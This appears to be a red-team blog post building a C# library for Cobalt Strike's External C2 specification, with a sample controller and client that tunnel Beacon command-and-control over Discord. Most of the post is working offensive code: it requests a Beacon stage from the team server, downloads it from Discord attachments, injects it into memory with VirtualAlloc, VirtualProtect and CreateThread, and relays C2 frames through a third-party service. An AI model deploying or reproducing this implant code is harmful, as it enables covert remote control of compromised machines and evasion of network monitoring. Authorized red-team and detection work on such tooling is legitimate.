ExternalC2.NET

Introduction

This post will walk through how I created a library which implements Cobalt Strike’s External C2 Specification, introduces the ExternalC2.NET NuGet packages, and demonstrates how to use them in a custom third-party controller and client.

External C2

Cobalt Strike has the ability to accept third-party command & control, allowing operators to go far beyond the HTTP, DNS, TCP and SMB listeners that the tool provides by default. The External Command and Control Specification is published here and we’ll be referencing it heavily during this post. If you’re not familiar with the concept of External C2, make sure to read at least the Overview section in the paper.

Protocol

The first aspect of the protocol that the paper describes is the frame format.

The External C2 server and the SMB Beacon use the same format for their frames. All frames start with a 4-byte little-endian byte order integer. This integer is the length of the data within the frame. The frame data always follows this length value.

2.1 Frames

Based on this, we can design a struct. I included a constructor as an easy way to create new frames, e.g new C2Frame(a, b);

[StructLayout(LayoutKind.Sequential)]
public struct C2Frame
{
    public byte[] Length { get; }
    public byte[] Data { get; }

    public C2Frame(byte[] length, byte[] data)
    {
        Length = length;
        Data = data;
    }
}

The spec also states that both the External C2 server and Beacon use the same frame format, so it makes sense to create some generic methods to handle that. I made this an abstract class so that other classes may inherit it later.

public abstract class BaseConnector
{
    protected abstract Stream Stream { get; set; }

    protected async Task<C2Frame> ReadFrame()
    {
        // read first 4 bytes
        // this is data length
        var lengthBuf = new byte[4];
        var read = await Stream.ReadAsync(lengthBuf, 0, 4);

        if (read != lengthBuf.Length)
            throw new Exception("Failed to read frame length");

        var expectedLength = BitConverter.ToInt32(lengthBuf, 0);

        // keep reading until we've got all the data
        var totalRead = 0;
        using var ms = new MemoryStream();
        do
        {
            var remainingBytes = expectedLength - totalRead;
            if (remainingBytes == 0)
                break;
            
            var buf = new byte[remainingBytes];
            read = await Stream.ReadAsync(buf, 0, remainingBytes);
            await ms.WriteAsync(buf, 0, read);
            totalRead += read;
        }
        while (totalRead < expectedLength);

        return new C2Frame(lengthBuf, ms.ToArray());
    }

    protected async Task WriteFrame(C2Frame frame)
    {
        await Stream.WriteAsync(frame.Length, 0, frame.Length.Length);
        await Stream.WriteAsync(frame.Data, 0, frame.Data.Length);
    }
}

The first aspect to talk about is the abstract Stream property. I made the assumption that I could use the TcpClient class to talk to the External C2 server and the NamedPipeClientStream class to talk to the SMB Beacon. Both the NetworkStream of the TcpClient and the NamedPipeClientStream itself inherit from Stream, so this seemed generic enough to use.

The WriteFrame method is very simple. It takes in a C2Frame, writes the length to the stream, followed by the data.

The ReadFrame method is a longer, but logically still quite simple. We begin by reading the first 4 bytes of the stream and converting that to an integer, because we know that will give us the data length of the frame. Once we have that length, we continue reading from the stream until we’ve read all the data.

Originally, I was trying to read the whole stream in one go, like:

var dataBuf = new byte[expectedLength];
read = await Stream.ReadAsync(dataBuf, 0, expectedLength);

However, I was experiencing an issue where read was not matching up with expectedLength. My assumption here was that I was reading from the stream before the External C2 server had finished writing to it. So instead, I drop in a loop until the expected number of bytes have been read.

Controller

It’s the role of the Controller to relay data between the External C2 server and the third-party Client.

When a new session is desired, the third-party controller connects to the External C2 server. Each connection to the External C2 server services one session.

3.2 Third-party Client Controller

The spec tells us that a new connection to the External C2 server should be made for each new Beacon session. To that end, I created a class that will handle a new instance of such as a connection. I decided to create an Interface to make it possible for developers to create their own implementations if desired.

public interface ISessionController
{
    /// <summary>
    /// Configure the connection options for this controller
    /// </summary>
    /// <param name="serverAddress"></param>
    /// The IP address of the Cobalt Strike Team Server.
    /// <param name="serverPort"></param>
    /// The port of the External C2 listener.
    /// <param name="block"></param>
    /// A time in milliseconds that indicates how long the External C2 server should block when no new tasks are
    /// available. Once this time expires, the External C2 server will generate a no-op frame.
    void Configure(IPAddress serverAddress, int serverPort = 2222, int block = 100);

    /// <summary>
    /// Initialise the connection to the External C2 server.
    /// </summary>
    /// <returns></returns>
    Task<bool> Connect();

    /// <summary>
    /// The	architecture of the payload stage. Default's to x86.
    /// </summary>
    /// <param name="pipeName"></param>
    /// The named pipe name.
    /// <param name="arch"></param>
    /// The	architecture of the payload	stage.
    /// <returns>A byte array of the SMB Beacon stage.</returns>
    Task<byte[]> RequestStage(string pipeName, Architecture arch = Architecture.x86);

    /// <summary>
    /// Send a frame to the External C2 server.
    /// </summary>
    /// <param name="frame"></param>
    /// <returns></returns>
    Task WriteFrame(C2Frame frame);

    /// <summary>
    /// Read a frame from the External C2 server.
    /// </summary>
    /// <returns></returns>
    Task<C2Frame> ReadFrame();
}

Let’s start off with the Configure method. This does nothing more than set some private fields that will be used later. You’ll also notice I’m making this class inherit from both the ISessionController and BaseConnector abstract.

public class SessionController : BaseConnector, ISessionController
{
    protected override Stream Stream { get; set; }

    private IPAddress _server;
    private int _port;
    private int _block;

    public void Configure(IPAddress server, int port = 2222, int block = 100)
    {
        _server = server;
        _port = port;
        _block = block;
    }
}

The Connect method will create a new instance of the TcpClient and attempts to connect to the IP and port that were passed in on the Configure method. If the connection is successful, we grab the underlying stream and set the Stream property.

public async Task<bool> Connect()
{
    var tcpClient = new TcpClient();
    await tcpClient.ConnectAsync(_server, _port);

    if (tcpClient.Connected)
        Stream = tcpClient.GetStream();

    return tcpClient.Connected;
}

WriteFrame and ReadFrame will just call the corresponding methods on the BaseConnector abstract.

public new async Task WriteFrame(C2Frame frame)
{
    await base.WriteFrame(frame);
}

public new async Task<C2Frame> ReadFrame()
{
    return await base.ReadFrame();
}

The really fun part is requesting a new Beacon stage from the External C2 server.

To configure the payload stage, the controller may write one or more frames that contain a key=value string. These frames will populate options for the session. The External C2 server does not acknowledge these frames.

3.2 Third-party Client Controller

The options are arch, pipename and block (see the paper for a description of what they mean).

Once all options are sent, the third-party controller writes a frame that consists of the string go. This tells the External C2 server to send the payload stage.

3.2 Third-party Client Controller

So the request will look something like:

arch=x64″
“pipename=foobar”
“block=100”
“go

To make generating frames from this format easier, I added a static method to the C2Frame struct.

public static C2Frame Generate(string key, string value = "")
{
    var bytes = Encoding.UTF8.GetBytes(!string.IsNullOrWhiteSpace(value)
        ? $"{key}={value}"
        : key);

    var length = BitConverter.GetBytes(bytes.Length);
    
    return new C2Frame(length, bytes);
}

Now we can populate the RequestStage method.

public async Task<byte[]> RequestStage(string pipeName, Architecture arch)
{
    switch (arch)
    {
        case Architecture.x86:
            await WriteFrame(C2Frame.Generate("arch", "x86"));
            break;
        
        case Architecture.x64:
            await WriteFrame(C2Frame.Generate("arch", "x64"));
            break;
        
        default:
            throw new ArgumentOutOfRangeException(nameof(arch), arch, null);
    }

    await WriteFrame(C2Frame.Generate("pipename", pipeName));
    await WriteFrame(C2Frame.Generate("block", $"{_block}"));
    await WriteFrame(C2Frame.Generate("go"));

    var frame = await ReadFrame();
    return frame.Data;
}

At this point we have a full SMB Beacon stage as a byte[] which needs to be sent to the third-party Client.

Client

The third-party client should receive a Beacon payload stage from the third-party controller. The payload stage is a Reflective DLL with its header patched to make it self-bootstrapping. Normal process injection techniques will work to run this payload stage.

Once the payload stage is running, the third-party client should connect to its named pipe server.

The third-party client must now read a frame from the Beacon named pipe connection. Once this frame is read, the third-party client must relay this frame to the third-party controller to process.

3.3 Third-party Client

I knocked up a similar interface to handle those interactions.

public interface IBeaconController
{
    /// <summary>
    /// Configure the Beacon Controller
    /// </summary>
    /// <param name="pipeName"></param>
    /// The Beacons pipe name
    void Configure(string pipeName);
    
    /// <summary>
    /// Inject the Beacon stage into memory
    /// </summary>
    /// <param name="stage"></param>
    /// <returns></returns>
    bool InjectStage(byte[] stage);

    /// <summary>
    /// Connect to the injected Beacon
    /// </summary>
    /// <returns></returns>
    Task<bool> Connect();
    
    /// <summary>
    /// Send a frame to the External C2 server.
    /// </summary>
    /// <param name="frame"></param>
    /// <returns></returns>
    Task WriteFrame(C2Frame frame);

    /// <summary>
    /// Read a frame from the External C2 server.
    /// </summary>
    /// <returns></returns>
    Task<C2Frame> ReadFrame();
}

And the implementation (this should be mostly self-explanatory at this point):

public class BeaconController : BaseConnector, IBeaconController
{
    protected override Stream Stream { get; set; }
    
    private string _pipeName;

    public void Configure(string pipeName)
    {
        _pipeName = pipeName;
    }

    public bool InjectStage(byte[] stage)
    {
        // allocate memory
        var address = Win32.VirtualAlloc(
            IntPtr.Zero,
            (uint)stage.Length,
            Win32.AllocationType.MEM_RESERVE | Win32.AllocationType.MEM_COMMIT,
            Win32.MemoryProtection.PAGE_READWRITE);
        
        // copy stage
        Marshal.Copy(stage, 0, address, stage.Length);
        
        // flip memory protection
        Win32.VirtualProtect(
            address,
            (uint)stage.Length,
            Win32.MemoryProtection.PAGE_EXECUTE_READ,
            out _);
        
        // create thread
        Win32.CreateThread(
            IntPtr.Zero,
            0,
            address,
            IntPtr.Zero,
            0,
            out var threadId);

        return threadId != IntPtr.Zero;
    }

    public async Task<bool> Connect()
    {
        var pipeClient = new NamedPipeClientStream(_pipeName);

        // 30 second timeout
        var tokenSource = new CancellationTokenSource(new TimeSpan(0, 0, 30));
        await pipeClient.ConnectAsync(tokenSource.Token);

        if (pipeClient.IsConnected)
            Stream = pipeClient;

        return pipeClient.IsConnected;
    }

    public new async Task WriteFrame(C2Frame frame)
    {
        await base.WriteFrame(frame);
    }

    public new async Task<C2Frame> ReadFrame()
    {
        return await base.ReadFrame();
    }
}

At this point, we have all the constituent parts. The Client and Controller just need to relay frames between the Beacon and External C2 server. How the controller and client communicate is entirely up to the operator (as that’s pretty much the whole point…).

Whilst I was building a test Client and Controller, I thought it would be helpful if there was an easy way to convert C2Frames into a raw byte[] or base64 encoded string. I went back and added the following methods to the C2Frame struct.

public byte[] ToByteArray()
{
    var buf = new byte[Length.Length + Data.Length];
    Buffer.BlockCopy(Length, 0, buf, 0, Length.Length);
    Buffer.BlockCopy(Data, 0, buf, Length.Length, Data.Length);

    return buf;
}

public static C2Frame FromByteArray(byte[] frame)
{
    var dataLength = frame.Length - 4;
    
    var length = new byte[4];
    var data = new byte[dataLength];
    
    Buffer.BlockCopy(frame, 0, length, 0, 4);
    Buffer.BlockCopy(frame, 4, data, 0, dataLength);

    return new C2Frame(length, data);
}

public static C2Frame FromBase64String(string frame)
{
    return FromByteArray(Convert.FromBase64String(frame));
}

public string ToBase64String()
{
    return Convert.ToBase64String(ToByteArray());
}

If you’re into unit testing (which you should be 😛), you can test them a little like this:

[Fact]
public void ConvertFrameToByteArray()
{
    var length =  BitConverter.GetBytes(20);
    var data = new byte[20];
    
    using var rng = RandomNumberGenerator.Create();
    rng.GetNonZeroBytes(data);

    var originalFrame = new C2Frame(length, data);
    var frameBytes = originalFrame.ToByteArray();
    var newFrame = C2Frame.FromByteArray(frameBytes);
    
    Assert.Equal(newFrame.Length, originalFrame.Length);
    Assert.Equal(newFrame.Data, originalFrame.Data);
}

Example Usage

I’m going to write a third-party Controller and Client to perform C2 over Discord (not original, but proves the idea), using the library created. I’ve removed the Discord-specific code so we can just focus on the External C2 parts.

The first step in the Client is to generate a string to use as the named pipe name and then send some sort of notification to the Controller that you want a Beacon stage. How you handle the interactions between the Client and Controller is completely up to the developer.

private static async Task Main(string[] args)
{
    await ConnectToDiscord();
    
    // generate a random guid
    var beaconGuid = Guid.NewGuid().ToString();

    // send stage request
    await _channel.SendMessageAsync($"NewBeacon:{beaconGuid}:{Arch}");
}

private static string Arch => IntPtr.Size == 8 ? "x64" : "x86";

The Controller has an event registered for new Discord messages so it can respond as soon as the Client posts a message. It will parse that message, create a new SessionController for this Beacon, and generate a new stage. Discord has a 2000 character limit on messages, so base64 encoded messages are generally too large. Instead, you can upload responses as file attachments.

// parse mesage from new Beacon client
var split = e.Message.Content.Split(':');
var beaconGuid = Guid.Parse(split[1]);

var arch = split[2].Equals("x64")
    ? Architecture.x64
    : Architecture.x86;

// create a new SessionController for this Beacon
// connect to it and add it to a Dictionary to track
var controller = new SessionController();
controller.Configure(IPAddress.Parse(_server), _port);

if (!await controller.Connect())
    return;

// request a new Beacon stage
var stage = await controller.RequestStage(beaconGuid.ToString(), beaconArch);

// Upload to Discord as a file
await using var ms = new MemoryStream(stage);
var b = new DiscordMessageBuilder();
b.WithFile("stage.bin", ms);

await message.RespondAsync(b);

The Client can then fetch the response, extract the stage from it and delete the messages. With the stage, we can create its BeaconController, then inject and connect to the named pipe.

var stage = await _http.GetByteArrayAsync(stageMessage.Url);
await DeleteMessages(messages);

var beacon = new BeaconController();
beacon.Configure(guid);

if (!beacon.InjectStage(stage))
    throw new Exception("Failed to inject stage");

if (!await beacon.Connect())
    throw new Exception("Failed to connect to named pipe");

We then drop into a loop where the Client reads a frame from the Beacon, sends it to the Controller, gets a response frame from the Controller, writes that frame to the Beacon and so on.

while (true)
{
    // get frame from beacon
    // the first frame after injection is always the Beacon's metadata
    var beaconFrame = await beacon.ReadFrame();

    // send to Discord
    using var ms = new MemoryStream(beaconFrame.ToByteArray());
    var b = new DiscordMessageBuilder { Content = beaconGuid };
    b.WithFile("frame.bin", ms);
    
    await _channel.SendMessageAsync(b);

    // read response
    var messages = await _channel.GetMessagesAsync();

    // latest reply is always the first message
    var reply = messages[0];

    var frameBytes = await _http.GetByteArrayAsync(reply.Attachments[0].Url);
    var serverFrame = C2Frame.FromByteArray(frameBytes);

    // send frame to beacon
    await beacon.WriteFrame(serverFrame);

    // delete messages
    await DeleteMessages(messages);
}

On the Controller side, I extract the Beacon’s GUID from the message content, get the matching SessionController from my Dictionary, write the frame in, read a frame out, and send it back to Discord.

// if message content is not a guid, ignore
if (!Guid.TryParse(e.Message.Content, out beaconGuid))
    return;

// read the frame from the message
var frameBytes = await _client.GetByteArrayAsync(e.Message.Attachments[0].Url);
var beaconFrame = C2Frame.FromByteArray(frameBytes);

// grab the SessionController for this Beacon
var controller = Sessions[beaconGuid];

// write the frame to the External C2 server
await controller.WriteFrame(beaconFrame);

// read the response frame
var serverFrame = await controller.ReadFrame();

// send the response frame to Discord
await using var ms = new MemoryStream(serverFrame.ToByteArray());
var b = new DiscordMessageBuilder();
b.WithFile("frame.bin", ms);

await e.Message.RespondAsync(b);

Video

Closing

I hope this post was somewhat useful in showing some of my thought processes when developing this library.

Full library source code is on GitHub. The NuGet packages are on code-offensive.net.

,

Related posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

Latest posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...